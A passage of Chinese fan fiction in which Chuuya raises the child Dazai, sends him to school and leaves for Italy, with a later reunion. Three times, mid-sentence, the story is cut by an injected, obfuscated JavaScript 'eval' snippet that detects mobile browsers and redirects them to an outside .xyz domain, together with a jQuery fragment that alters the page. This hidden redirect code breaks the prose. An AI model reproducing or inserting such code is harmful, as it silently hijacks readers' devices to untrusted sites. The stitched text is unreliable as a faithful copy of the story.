或许这才是一个十二岁的正常小孩子该有的样子?虽然好笑,却也可爱。再过两三年,太宰就会被迫正式进入黑手党——这个由血/腥和暴力组成的暗夜帝国,任何天真慈悲的想法都要付出惨痛的代价。 那到时候这个孩子会怎么样呢,本来就比正常孩子脆弱孤独的多,见识过极度的黑暗,会不会加快他走向死亡的速度呢? 中也垂在身侧的手指微微蜷缩,心里念头微转,做了个决定:反正还有他在,太宰不必急于成长,他可以给对方一个完整的值得回忆的少年时光,有能力守护住对方那份天真,直到十八岁。 那时候再让他来当自己的下属吧。 这样想着,中也将手插在口袋,冲太宰道:“喂,魔法师,蟹黄面还吃不吃了。先说好,我是男的,是不会穿女仆装的。” “诶?真的不可以吗,拜托了我想看嘛,我不会给别人看的。” 中也边走边道:“…闭嘴!你要是再说话,我就把你的衣服全都换成裙子,正好爱丽丝的裙子穿过一次就不要了!” 太宰小猫般睁圆眼睛,再次感叹:“中也真是个可怕的男人” “不过中也,你刚才为什么沉默那么久?” 中也放慢脚步等对方追上来,头也不回道:“觉得你很蠢…纯真可爱!” 一大一小两个身影并肩走在晨曦里,慢慢回到他们家中。 - 中也系着围裙,从厨房里端出第五份蟹黄面。 面前的桌子上已经摆了四份。 中也脸上有了怒气,“咣”一下把碗砸在桌子上,道:“尝尝这份,按你说的少放了十分之一盐,面条只煮到九分硬,而且搅拌充分,保证每根面条上都裹满了蟹黄。并且,整个时长不超过十五分钟。” 太宰治双腿交叠,托着脸,手中计时器发出“滴”一声响,他仰起无辜的脸:“可是中也刚刚说话的时候,已经超过十五分钟了哦,现在不是最佳食用口感了,我不要吃。” “不过,中也要是可以穿着女仆装喂我的话,我就给面子尝一下咯。” “……” 太宰叹了口气,为难补充:“不过想想也知道啦,中也那么笨,做饭肯定很难吃的,唉,想到要吃中也做的饭我就好痛苦啊,不想吃一点都不想吃。” 中也单手捏着桌角,克制道:“那我叫厨师来给你做。” “不要不要不要!”太宰往后一靠,开始闹脾气,“他们也不是我的专属女仆,万一在我的饭里下毒怎么办!而且我不认识他们,我不要吃陌生人做的饭!中也明明是我的专属女仆,怎么能把责任推卸给别人,你应该每天在家好好钻研菜谱吧!” 看着桌子上放凉了黏在一起的面,他忙了一上午,对方一口没动,还特么挑三拣四找一堆毛病,还敢指着他的鼻子骂他。 中也怒极反笑,“咔”一下捏碎桌角,问道:“那你想怎么办?嗯?” “这是中也破坏的第三张张桌子了呢,中也真是满脑子肌肉的暴力狂,所有做饭才会不好吃。中也应该高高兴兴满怀期待去厨房给主人做饭吃才对!” 中也忍受不了,闭上双眼想冷静一下,想到自己这一天的教育计划,换来对方蹬鼻子上脸,根本冷静不了一点。 重力异能不受控制,面前的桌子连带着碗瞬间化为齑粉,中也冷笑一声:“太宰治!你还给我挑三拣四上了!吃屎去吧你!” 太宰治靠在椅子上,粉尘哗啦啦落在膝盖,沾满裤腿,他目瞪口呆,眼底终于浮现了一点诚挚笑意。 太好了,中也终于恢复正常了。 他带着点期待,隐隐开口:“中也,你要揍我吗?” “揍你?”中也狠狠瞪着太宰,“当然不,我可没兴趣欺负弱者。” 说完这句,中也斩钉截铁道:“我要送你去上学!” - 三天后,早上七点。 闹铃叮铃铃响个没完,太宰治迷迷糊糊伸手摁下开关,把头埋在被子里继续睡。 有人粗鲁地一把掀开他的被子,凉意袭来,接着是一只手,拎着他的后颈像是拎着一只小猫。 太宰治空中扑腾了两下,开始讲道理:“中也~,让我再睡一会吧,好困,完全睁不开眼呢。” 干部大人从鼻子里发出笑音,也很礼貌回道:“要么我揍你一顿,要么你老老实实去上学。” 太宰治手掩着嘴,懒洋洋打了个哈欠:“啊——,真的好困,要不中也揍我一顿吧,反正我也会狠狠报复回来。” 中也提着他走到门口,墩地一声把人放在地上,不以为意:“哦,是吗?你的睡衣是等着我给你换吗?” 太宰治静默片刻,慢吞吞道:“小狗女仆今天还挺懂事哦,表扬一下,呱唧呱唧。” 说完这句,他敷衍拍了两下手,又闭上眼睛,站直的身体摇晃两下,一头扎倒在中也肩膀上,过了几秒,呼吸平缓起来,似乎已经见到了周公。中也没来得及出口的怒骂一下子熄火,咽回肚子,无奈扶着站着就睡着了的小孩。 自从那天说要送太宰去上学,他就收敛了不少,晚上和中也同吃同睡,白天他去□□上班,对方醒了就去找他,坐在他办公室里吃零食打游戏。高兴了就趴在沙发上两条腿晃来晃去吹泡泡,不高兴就躺在沙发上盯着天花板唉声叹气,如果中也不理他,他就更大声叹气,活像只想要人顺毛又不好意思说的名贵小猫。 不得不说,中原中也很吃他这套,太宰治不天天找事之后,还是有几分小孩子一样的可爱在身上,很容易让人心软。 中也摸了一把太宰治柔软的黑发,胳膊碰到了对方瘦弱的肩胛骨,忽然想到,本来也就是个不太大的孩子。 所以为了对方能健康成长,还是送去学校吧,或许可以交几个朋友,年纪到了再谈上几段恋爱,就像中也这几天看到的影视资料那样。 铁血无情的中原干部用力晃了晃太宰治的肩膀,残酷道:“不行,今天你必须给我去上学。” 一早上鸡飞狗跳过后,七点四十,中也终于带着眼还没睁开的太宰治出门。 学校是有□□投资的一家私立初中,在横滨口碑很好,知根知底离家近,太宰在学校惹了什么事他立马就能赶过去。 早上的横滨非常热闹,夹着公文包的青年和穿着职业装的白领一起盯着路口红绿灯,神色专注如同开会。热闹的是学生们,嘴上嚷嚷着昨天的作业没写,或是今天国文老师要抽背哪篇课文,一会捶胸顿足一会兴高采烈。 车水马龙的路上噪音扰人,太宰治不耐烦皱眉,他最讨厌人多的地方了,好吵,好烦。 他抬起手想要捂住耳朵,右手却中也拉了过去,对方手指在他掌心点了两下,随后强硬挤进他的指缝间。 十指相扣的姿势。 世界忽然安静下来。 太宰治呆愣抬头,浓密睫毛下鸢色眼睛带着疑惑,落在中也眼里,简直和猫咖里见到他的那些小猫一模一样,这一脸蠢样成功逗笑了这位干部大人。 他好心解释:“路上车多,怕你乱跑。别以为我没看出来你刚才想偷偷溜走!不过没关系,你去哪我都会抓到你的。” 太宰治发出“嘁”的声响,对于他的强横言论嗤之以鼻,心道中也真是太笨了,他现在就有一万种方法可以逃走,中也绝对找不到他。 不过这样遛狗的机会很难得,所以他一种方法也没用,乖乖扮演着陪小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853257|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩过家家游戏的好主人。 学校距离中也的别墅很近,不一会两人就到了门口,昨天联系过的主任站在校门口等着中也和太宰,一瞧见人影靠近,连忙迎上去。 “中原君,您竟然亲自来了,失礼失礼。” 中也摆手:“排场就不用了,喏,这个小孩子就拜托您照顾了。” 他一面说,一面松开手,将太宰领到主任面前。 手心的温度骤然消失,快得仿佛一场梦,太宰眨眨眼,对着这位不认识的主任露出人畜无害的笑:“你好,我叫太宰治。” 中也眉间抽了抽,下意识想要摸出镜子看看脸。 主任受宠若惊,似乎没想到中原君居然送来了这么乖的一个孩子,脸上堆笑,伸手就要揉揉对方脑袋。 “你好你好,哈哈这孩子性格真……” 一把匕首对着主任伸过去的掌心,刚才还带着乖巧笑容的小孩眼神天真残忍,小声道:“不好意思哦,我不喜欢别人碰我啦,麻烦先生您移开一下。” 中也瞅见匕首,摸了摸自己胸口的口袋,空荡荡的,于是反手捏住太宰手腕,把匕首夺回来:“你这家伙找揍吗?杀人为什么要用我的匕首?” “因为没有枪啊,只好拿匕首了。”太宰无奈摊手。 主任欲哭无泪,十二岁是纠结用枪杀人还是用刀杀人的时候吗? “滚啊你,自己不会带吗?还有,你什么时候拿的?” “才不告诉中也。中也就是个白痴,自己的东西被别人摸了也不知道不在意,我要是和中也一样笨,早就不活了,真想用刀切开中也的脑子看看,里面肯定没有一点褶皱,光滑如两片鸡胸肉。” 中也对着那颗黑色脑袋拍了一下,没再继续跟他吵架,道:“赶紧滚去上学吧你!” 撂下这句,中也扭头就走,六步之后,他动作顿住,头小幅度转动一点,也不知道在跟谁说话:“我走了,有事给我打电话。” 被拍了脑袋的小孩显然不高兴,一个字没回,主任先吓出一身冷汗,生怕这位中原君生气,于是装出一副笑脸:“中原君不用担心,有我在呢。” 中也“嗯”了一声,道谢后,顿住的脚步走远了。 黑发少年猛然抬起头看他,鸢色眼睛像无机质的玻璃,在晨光下剔透又冷漠。 主任咕咚一声咽下口水,干巴巴道:“太宰君,有事吗?” “没有哦,刚才那个谁在跟你说话吗?” “那个谁”显然是指中原君,中原君已经走远,哄好眼前这位才是正道。 主任开口道:“没没没,中原君刚才在关心太宰君,我见你不说话,自作主张替你回答了。话说,你们感情可真好!” 太宰眼睛瞪得圆圆的,语气活像被踩住尾巴的猫:“谁跟他感情好了!你怎么能睁着眼睛胡说八道?!” “啊原来是我看错了吗,我看中原君好像很关心你,刚才走的时候还依依不舍回头望呢!” 太宰嘲笑:“先生,你的谎话可真无聊。” 虽然这么说,但主任明显感受到面前少年身上那股肃杀冷漠的气息散去,又变得像个小小少年一样,周围空气都上升了几度。 他松了一口气。 两人有一句没一句聊的天,太宰谎话实话混着说,又经过一些无聊到好笑的环节,终于赶在第一节下课铃打响之前,到了中也给他安排的班级。 太宰挑了个最后一排靠窗户的位置,放下书包开始补觉。 十分钟后,第一节下课铃响,初中生叽叽喳喳的聊天声吵的他心烦意乱,如果手里有炸弹的话,他一定毫不犹豫往教室最中间放上一个。 二十分钟后,据说是教国文的老师——是个硬骨头,十分气势汹汹地把太宰从睡梦中唤醒。 太宰愣了两秒,似乎不敢相信有人敢对自己那么粗鲁,又想起来自己在上学,好歹装一下,托着下巴百无聊赖,眼神透过窗户落到远处五栋高楼。 中也在干嘛呢? 他低头看表,秒针慢悠悠走着,像个步履蹒跚的老头,哼哧哼哧费了半天劲,才走上一圈,带着分针小小迈上一步。 现在是早上九点十五,距离他和中也分开已经一小时十五分钟,距离他和中也再见还有五个小时四十五分钟,要像这样看着慢悠悠的指针转上三百圈,无数声滴答滴答后,才能看见中也。 还是做点事情让中也来找他吧。 15. 小宰日常 港口Mafia总部,一个装修简洁的会议室里,三个人围着圆桌开会。 长着鹰钩鼻的意大利人递过来一份资料,十分有诚意地送到森鸥外手中。 森鸥外没接,转头和中也话起家长里短的小事:“听说中也君送太宰君去上学了?” 中也没打算瞒着BOSS,坦率地说:“是,首领也知道那天太宰从办公室出来做了什么。我想或许是因为他没什么同龄的朋友,心理不健康,送去玩几天。反正他还小,万事有我。” “中也君真是把他当孩子来养呢。”森鸥外莞尔,“不过Mafia可不是适合孩子成长的地方啊,娇惯的孩子就像娇嫩的花,离开温室可活不了。” 中也静默片刻,道:“我知道,老大。一些事我慢慢教他,请您放心。” “中也君办事没什么让我不放心的,”森鸥外嘴角上扬,眼神却锐利,伸手拿过意大利人递来的文件,大致扫了一眼,递给中也,“看看这个。” 中也接过文件,大略扫了下重点,心下了然。 文件是一份企划案,关于Mafia海外势力的培养和商业版图发展。 西方组织群龙无首,□□势力庞大,盘根错节,想要打下根基,最快的方式就是用暴力破开一条血路。 中也是港口黑手党的干部,是代表着绝对血腥与暴力的化身,且常年在西方活动,这次的任务非他不可。 森鸥外见中也已经看完文件,正色道:“这次任务时间跨度长,难度大。到了意大利之后,中也君要面对的可是一场血雨腥风。” 中也神色嚣张,合上文件,看见两双眼睛都在盯着自己,等他一个答复。 “BOSS这是什么话,那些帮派怕我还差不多,本来就是活在血雨腥风中的人。不过既要镇压地方帮派,又要拓展咱们Mafia势力,这次去的应该不止我一个人吧?” “是,这次要安排你和魏尔伦同去,时间紧迫……” 一阵突兀的手机铃声打断森鸥外的话,声音的来源是中也。 都怪早上太赶时间,居然忘记静音了。 中也神情尴尬,摸出手机,正要挂断,瞥一眼联系人——明晃晃的“学校主任”四个字。 学校打来的,太宰那混蛋又惹事了?! 他的的手犹豫几秒,最终摁灭屏幕,说了声“抱歉,电话忘记静音了。” 森鸥外摆摆手,看出对方已经心不在焉,笑着说:“无事,剩下一些细枝末节,正好邮件发给你和魏尔伦。会就先开到这里吧。” 知道首领的好意,中也没有多说什么,辞别后拿着手机来到Mafia大厅空旷处,用不着回拨,主任的电话一个接一个打来,颇有点打不通就要一直打到地老天荒的味道。 中也接通,还没说话,对面尖细焦急的声音就涌入耳膜:“中原先生,不好了——” “怎么了?”太宰逃学了,杀人了,还是怎么了。 “太宰君他,他不知道怎么回事,把学生们都劝退学了!!!” “啊?就这样吗?”比自己想象中的情况好点,中也担心中生出一点好奇,“这也不能全怪他吧,学生不想学习不是很正常的事?” “什么叫就这样吗?中原先生,你不知道,我们学校的老师也纷纷闹着要辞职,现在已经走了一大半了!!!” 电话那头的怒吼震耳欲聋,简直像是吃了一百个熊心豹子胆,中也不在意揉揉耳朵,十分不解:“嘛,这也要怪我头上。说明你们学校待遇不好呗!” “可这一切都是因为太宰君!!!你怎么能这么说,你知不知道…知不知道,知不知道。” 一连三个“知不知道”,气愤到接下来的话都说不出来,中也虽然不理解,但是觉得有必要尊重一下对方,问:“我要知道什么?” “……我们校长在办公室以泪洗面,决定要退出教育界!!!而这一切,都是因为太宰君!!” 沉默几秒,中也问:“嗯,我知道了,那这是有点严重。然后呢?太宰出什么事了吗?” 电话那头粗重的怒音停住了,似乎觉得十分不可理喻,答道:“有点严重?!……您这学生我们收不了,赶紧领回家吧。” “哈?为什么,他一没杀人二没放火,不是表现挺好。学生老师校长的事跟他有什么关系?” “你……我……你上过学吗?” 中也十分自然答道:“没啊,每天忙着杀人,哪有空?” 主任哑火了,觉得这俩真是一对,啥锅配啥盖。 他冷静下来,编出一个像样的理由:“总之,太宰君因为宣传不当思想,鼓动学生和教职工负面情绪,学校予以开除处分。麻烦中原君快来把太宰君领回家吧,一定要快。” 使唤谁呢? 干部大人皱眉,脑子里忽然跳出来太宰治的脸,虽说他不觉得这次的事情有多严重,但鉴于太宰治一直稳定地不干人事。 他沉默片刻,敷衍一声,心里盘算着把太宰接回来好好揍一顿。 一路骑着机车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853258|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风驰电掣抵达学校,偌大的校园里只有聒噪蝉鸣声,花坛里月季开得热烈,随风而动像是欢迎。 中也顺着大理石台阶缓缓走上教学楼二楼,穿过长长的走廊,到达最里面教室门口。 抬起手放在门上,中也动作顿住,没有用劲把门推开。 他还没有想好该怎么和太宰说话,不只是学校的事,还有他要离开横滨常驻西方的事。 算了,先接回家再说吧。 干部大人用平生最温柔的力度推开门,一眼就看见了空旷教室后排那个孤独的身影。 这位搅得学校不得安宁,让学生退学老师辞职校长退出教育界的魔头,此刻安安静静趴在教室最后一排的桌子上,阳光透过窗户给他的黑发镀了一层金边,屋里空调开得太低,身形单薄的少年轻轻抖了一下。 中也皱眉,早上走的太急,忘了让太宰再多带一件衣服。 似乎为了印证他的话,瘦弱少年怕冷似的把脑袋埋在臂弯里,很轻地打了一个喷嚏,偏着头,细长手指无聊地在桌子上画着圆圈。 他在等人,他在等我。 意识到这件事时,中也已经不知不觉迈开步子走进去,穿过层层叠叠的桌椅,找到藏在最里面的小孩,他没说话,把自己的外套脱下来,披在对方肩上。 那只露在外面的鸢色眼睛惺忪睁开,看见是他,突然睁大,带着点光,伸出手握住他的小指。 太宰的手很凉。 “哼,小狗终于想起主人了吗?” 高兴过后,像是想到什么,他又闷闷不乐趴回桌子上,小声说:“中也,我不喜欢上学,他们都欺负我。” 中也屈指弹他脑门,丝毫不信他的鬼话:“……说谎也要找个好点的理由吧,谁敢欺负你。主任已经把你的‘罪行’都告诉我了,回去再好好修理你!” “呜哇!中也信他还是信我?”太宰仿佛受了天大的委屈,鸢色眼睛藏着执拗,似乎一定要听到那个满意的回答,活像是娇纵的姑娘在问渣男是更爱谁,非要比出个高下才肯善罢甘休。 “……” 中也无奈:“最信你,他们真是太欺负你了,知道你要上学学生也不来了,老师也不干了,就连校长都辞职了。你在这真是受了天大的委屈,走吧,跟我回家。” 中也朝他伸出手。 太宰耳朵里仿佛装了什么无敌的过滤装置,完全忽略了中也的阴阳怪气,脑子里盘桓着那句“最信你”,一下子从椅子上跳下来,美滋滋牵着中也的手跟他一起回去。 16. 童年完结章 坐在书房里处理完一天的文件,天色接近黄昏。 刚把太宰从学校接回来,BOSS的邮件就发到邮箱里,中也没来得及跟太宰多说什么,就钻进书房处理这次外派任务的细节。 越是了解就越是惊心,这次的西部拓展计划恐怕比他之前接手过的所有任务都要艰巨和漫长,牵涉的利益太多太广。 怪不得只派了他和魏尔伦,换做其他人去了意大利未必有命活着回来,毕竟强龙难压地头蛇。 傍晚昏黄夕阳透过窗帘的缝隙,在昏暗空间划出一道光线,照亮那只戴着黑手套的手,修长指节正在无意识地一下一下敲着桌子。 电脑屏幕上,邮件已经编辑好,只要敲下发送,这次任务就算彻底敲定,三天后开始,三年后也未必能结束。 中也摇摇头,把那只总是藏着坏笑的眼睛从自己脑海里甩出去,生怕自己后悔般摁下发送键。 “发送成功”的字样出现在屏幕上。 门口也传来“咔哒”一声响。 一颗鬼鬼祟祟的黑色脑袋隔着门缝偷偷往里面看,露在外面的那只鸢色眼睛好奇地打量着干部大人装修繁复华丽的书房,像是再在这屋里是不是有什么吃人的怪物,人一旦进去就再也出不来了,生生困住这位声名远播的重力使一下午。 中也哼笑:“喂,也太没礼貌了吧,好歹敲一下门啊你!” 鸢色眼睛里立马涌出坏笑,笑意像是潮汐一样争先恐后想要淹没中也:“我敲门了哦,是中也一直不回答,还以为中也掉进了蓝胡子的房间要被杀死了呢。唉,看到中也居然还活得好好的,我真失望。” 门被太宰下意识的动作推开一点,露出了黑色脑袋以下的部分,白衣黑裤上系着一件天蓝色碎花围裙,上面的白色碎花圆润可爱,带着小孩一起变得呆萌。 这样的太宰中也可从没见过。 中也双腿交叠,手搭在膝盖上,往椅背上一靠,仿佛在欣赏什么举世罕见的艺术品,赞叹里带着一丝调笑:“太宰要改行当女仆了?啧,难得难得,真是百亿名画一样的场景!” 太宰原本还在等着欣赏中也恼怒的神色,听见“女仆”两个字,懒散倚着门框的背一下挺得笔直,带着稚气的脸一会恍然大悟一会羞恼一会心如死灰,脑袋没动,眼珠倒是诚实地往下滑,一眼瞥见自己身上的围裙。 门被砰地一声关上。 中也毫不留情笑出声。 三秒后,门又被打开一道小小的缝隙,小到只能传进来声音,门外的小鬼强装镇定:“日理万机的黑手党大人,下来吃晚饭啦。” 哈?中也以为自己幻听了,太宰治叫他吃晚饭?还系了围裙,难道他亲自下厨? 这两件事哪一件都很诡异,合在一起更是诡异的让人汗毛倒竖。但不管怎么说,有人在自己忙完工作后为自己做一顿晚饭,这感觉很不错,让他有一点隐秘的期待。 他起身打开门,沿着复式旋转楼梯走下去,屋里没开灯,餐桌上的烛光映出太宰的身影,他身上的蓝色碎花围裙已经换下,穿着一身正式的黑色定制西装坐在餐桌前,目光跟着中也的动作转动。 中也低头睨了一眼,餐桌上摆着白瓷花瓶,各色娇艳欲滴的鲜花氤氲着馥郁芳香,银制刀叉在烛火下闪着优雅的光,与之相对的是餐盘里色香味弃权看一眼就能称得上精神污染的菜品。 这东西吃上一口恐怕会和原料死得一样惨吧。 中也拉开椅子坐下,细长手指捏着银制刀叉,随意挑了一下面前那条勉强能认出原样的惨死的鱼,挑眉笑问:“好啊,狐狸尾巴终于露出来了,你这是准备毒死我吗?嗯,太宰?” 太宰没回答。 灯下看人美三分,更不用说干部大人本来就长了一张甜美端庄的脸庞,平日里像是一柄被覆上鹅绒绸缎的蝴蝶刀,带着一种不近人情的冰冷美感,但如今葳蕤灯火下,笑意冲淡冰雪一样的寒意,就只剩下那种让人想要占为己有的美。 真是一张可以直接出道的脸。 太宰心里正胡思乱想,低着头半天没说话,中也还以为自己话说太过,打击了小孩自尊心,思忖半天,纡尊降贵挑了一块看起来还能入口的鱼肉,放进嘴里细品。 他的动作唤回了太宰的神思,对方期待地望着他,捧着手像个娇羞少女,看向他的目光布灵布灵冒着星星。 中也只能费力咽下那块鱼肉。 “怎么样怎么样!虽然不太好看,但肯定很好吃吧,这可是我改良了十多个版本最后敲定的菜谱哦!我把它叫做‘咕噜咕噜好吃到冒泡鱼’。” 听见这个名字,中也差点笑出声,平心而论,干部大人红酒要进口的,牛排要和牛的,这辈子在物质方面受过最大的苦恐怕就是太宰做得菜。 中也:“还行,不过比我还是差点。” 太宰眼睛亮了一瞬,神神秘秘从口袋里掏出一个卷轴一样的东西,神情骄傲:“好吧,看在小狗这么乖的份上,我给你准备了一份惊喜哦。” 他说着,一下子跳到椅子上,手往前一抖,卷轴哗啦啦展开,直直垂到地上,接着滴溜溜往前滚,在中也脚边停下。 中也扫了一眼,上面写着千奇百怪的菜名,比如什么“超人活力饭团”“无敌美味霸道大螃蟹”“金灿灿圆滚滚好吃到起飞小丸子”“……” 中也弯腰捏起那张纸,好奇:“这是什么新的毒药名目大全吗?” “诶?中也好讨厌,这明明是超级无敌美味食物大全吧。”太宰眯起眼睛,似乎十分无语,接着道,“不过我是不会嫌弃小狗没见识啦,这可是我花费一下午专门为中也谱写的未来一月菜单哦!马上你就能吃到这些美味的食物啦。这样我在家也有事情做了,中也就不要把我送去学校。那些人好笨哦,随便说两句话就能把他们骗得晕头转向。” “学校的事还没跟你算账呢,果然是你干得啊!你这家伙!”中也飞去一个眼刀,静默片刻,接着道,“这些……还是免了,三天后我就要离开横滨去意大利那边出差,这回任务时间长,估计要常驻国外。” 太宰眨眨眼:“好啊好啊,国外肯定也很有意思啦,那我去收拾我的行李。” 中也不容置喙:“你不能跟我一起去,你要留在横滨。” 他的话音落下,四周也陷入沉默,气氛变得焦灼起来,只有钢琴乐还在不合时宜地响着。 太宰站在椅子上,中也要仰头才能看见那只鸢色眼睛,烛火不够明亮,他看不清对方眼底的神色,不知道太宰心里是什么想法,不过仅仅是看着那张抿成直线的嘴,也能察觉出对方现在有点不开心。 中也解释:“西方那边情况复杂,□□势力盘根错节,刺杀和埋伏比喝水吃饭还要常见,你留在横滨会更安全。” “哦。”太宰的声音听不出喜怒,凉丝丝的,“中也觉得我是累赘呀?那干脆把我丢了好了,反正中也觉得我烦的时候就把我丢得远远的,丢给森先生丢进医院丢到学校,反正就要丢到中也看不到的地方才行。我真是最讨厌中也了,中也那么笨,去了西方肯定也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853259|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一些杂碎杀死,不如今天就死在我手里好了……” 他嘴上说个没完,一脚踩上餐桌,从餐具里挑挑拣拣选了把小刀,还没起身,餐布就被大力往前扯去,花瓶刀叉餐盘因为这股力道在空中划出抛物线弧度,又被重力控制飘在半空,太宰也被这股力道带着往前飞去,落进重力使的怀抱。 人间失格发动,重力异能失效,瓷盘花瓶砸在地上噼里叭啦像是一场交响乐,掩盖住口不择言的撒谎精剧烈心跳。 烛台灭了,四周一片漆黑,太宰整个人以一种很难为情的姿势跨坐在中也怀里,手臂因为下意识的动作搂住对方的脖子。 刀还在手里,只要他愿意,现在就能割断对方的脖子,到时候血会溅在他脸上,刺鼻滚烫,可如果那样,中也的尸首就不完整了。还是一点一点捅进心脏里,欣赏着中也脸上痛苦的神色,悦耳的惨叫,就算中也在自己身下痛哭求饶,他绝对不会手软。 这样中也就会死去,等到肉身腐烂后化成白骨,也要寸步不离跟着自己,他高兴了就带中也出去转转,不高兴就不许中也上床睡觉…… “我说,你还没想好吗?不是说要杀了我,这么好的机会都留着不用,啧,对敌人仁慈就是对自己残忍啊,太宰。” 太宰脸埋在对方脖子里,张嘴狠狠咬下去,中也“嘶”了一声,手上却动作温柔地抚摸着对方的背脊,像是在安抚一只炸毛的黑猫,一下又一下。 “行了,我只是去国外又不是死了,电话你也知道,想打就打,我每个月至少回来一趟,等那边情况稍微稳定一点就接你过去。” 太宰在一片血腥气里抬头,嘟囔道:“中也真是太讨厌了,难道当我是小孩吗?” “难道不是吗?难缠又黏人。” “才不是!你胡说八道,我才没有那样!” “那你先从我身上下来?” 太宰没回答,又偏头恶狠狠咬住对方颈侧。 - 三日后,横滨机场。 魏尔伦走在前面,和意大利接应人员确定好细节后,扭头一看,自己弟弟还在后边慢悠悠一步三回头。 他冷笑一声:“中也,走吧,到时间了。” “好,哥我马上就来。” 嘴上说着马上就来,脚步却依旧迟缓,魏尔伦一下子就看透了自己弟弟的小心思,道:“别等了,太宰不会来的。” 中也加快脚步朝他走来,辩解道:“哥你胡说什么呢,我怎么可能在等他,快走快走,等会赶不上飞机了。” 这副嘴硬的样子魏尔伦看了快十年了,哪能不知道自己弟弟在想什么,嗤笑:“你都要走了也不来送送,捡了这么个没良心的白眼狼回来,以后肯定会倒霉,还是赶紧扔了吧!” 中也自动屏蔽“赶紧扔了”这句话,小声附和:“小白眼狼,居然真的不来送我!” “小白眼狼”此刻正坐在港口黑手党首领的办公室里,偏头打了一个喷嚏。 森鸥外笑道:“看来有人在想太宰君呢,真的不去看看吗?” 太宰摇头,两条细瘦的腿晃来晃去,眼里却没什么笑意,只是道:“不用了,还是我和你的交易比较重要,哦,这件事最好不要告诉中也哦。” “当然,我会遵守承诺。”森鸥外莞尔,把银之手谕递给他,道,“不过你加入黑手党这件事,还是早点告诉中也君比较好呢。” 太宰跳下椅子,接过银之手谕,笑嘻嘻答:“这件事就不劳森先生多虑啦,我去执行任务了哦,拜拜~” 17. 重逢 “嗯,我在听,你接着说。什么!?嫌我这边太吵了,最近谈成一笔很大的合作,跟同僚出来喝杯酒都不行?管的真宽啊你,不过这边的事情快敲定的差不多了……” 酒吧里光线昏黄暧昧,摇滚乐如海浪一般侵占着每个角落,人语嘈杂,歌声热闹,这样的地方很容易模糊人与人之间的界限,适合不动声色地更进一步。 埃德蒙多眼睛一转不转盯着面前正在跟人通电话的干部大人——也是他最重要的商业伙伴。 这位名叫中原中也的黑手党干部是五年前开始在意大利崭露头角的,要不是亲眼见证过对方可怖的战场支配力和敏锐的商业直觉,单凭那一副好相貌,准叫人以为他只是个好看的花瓶。 如果真是个花瓶就好了,那他一定要费尽心机得到对方。 将杯中酒一饮而尽,埃德蒙多伸出一只手,试探着搭上对方肩膀,像朋友之间日常聊天一样问道:“中也,还在跟弟弟打电话吗?如果我没记错,弟弟应该快要成年了,喜欢美酒还是美人,我送给他。” 说着,他以一种非常熟稔的姿态插进两人的对话,第一次看清了中也那位弟弟的真容。 黑发鸢眼的俊丽少年,左眼似乎受了重伤,被层层叠叠的绷带包裹起来,挡住左边上半张脸,不过,即使看不清全部面庞,人像还经过摄像头的变形,依然能看出对方姣好的面容。 埃德蒙多大笑道:“中也,你们家基因还真是不错,你的哥哥弟弟都这么英俊,不过还是你的身姿最动人。” “最动人”三个字咬的很轻,像是耳语,他放在中也肩膀上的手稍微用力,但依旧没有越过朋友的范围。 埃德蒙多看见中也那双漂亮的蓝眼睛终于肯落在他身上,一时得意忘形,心里思忖着如果中也不拒绝他的触碰,或许他可以勇敢一些,问问能不能追求对方。 中也喝了酒,脑袋有点晕晕乎乎,脸上也已经浮现出薄红,他倒是不害怕出什么事,毕竟魏尔伦就在他不远处。 不过根据以往经验,还是别在太宰面前跟朋友勾肩搭背比较好,中也不经意甩开对方搭在肩上的手,挑眉:“我弟弟还没成年呢,美酒美人以后再说。夸男人英俊什么的也太肉麻了,也就你们意大利人天天挂在嘴边,嗯,不过我哥风流倜傥倒是公认的。” 听见“哥”字,魏尔伦下意识回头,知道他弟弟又喝醉了,起身走到醉鬼身边,准备把他带回家。 中也手机大喇喇放在桌子上,视频电话还没挂断,太宰那张仿佛别人欠了他百八十万的臭脸一下撞进魏尔伦眼底。 魏尔伦冷哼一声。 他早看这小子不顺眼了,一天天只要中也有空他俩就一定要聊会天。回了横滨更是不得了,有一年中也在横滨休长假,五天时间人影也见不到,电话也联系不上,全是拜这小鬼所赐。 魏尔伦伸手挂断电话,扶着中也的肩膀让他起身:“中也,你又喝醉了,先回家吧,在这也待了很久了。” 中也盯着黑下去的屏幕,发懵的脑袋使劲转了几圈,心里就剩下俩字“完了”,他抱头自闭:“哥——!你怎么能挂我电话,你知不知道那家伙有多难哄——” 魏尔伦打断他的话:“中也,他是十七岁又不是七岁,你不觉得你太娇惯他了吗?” 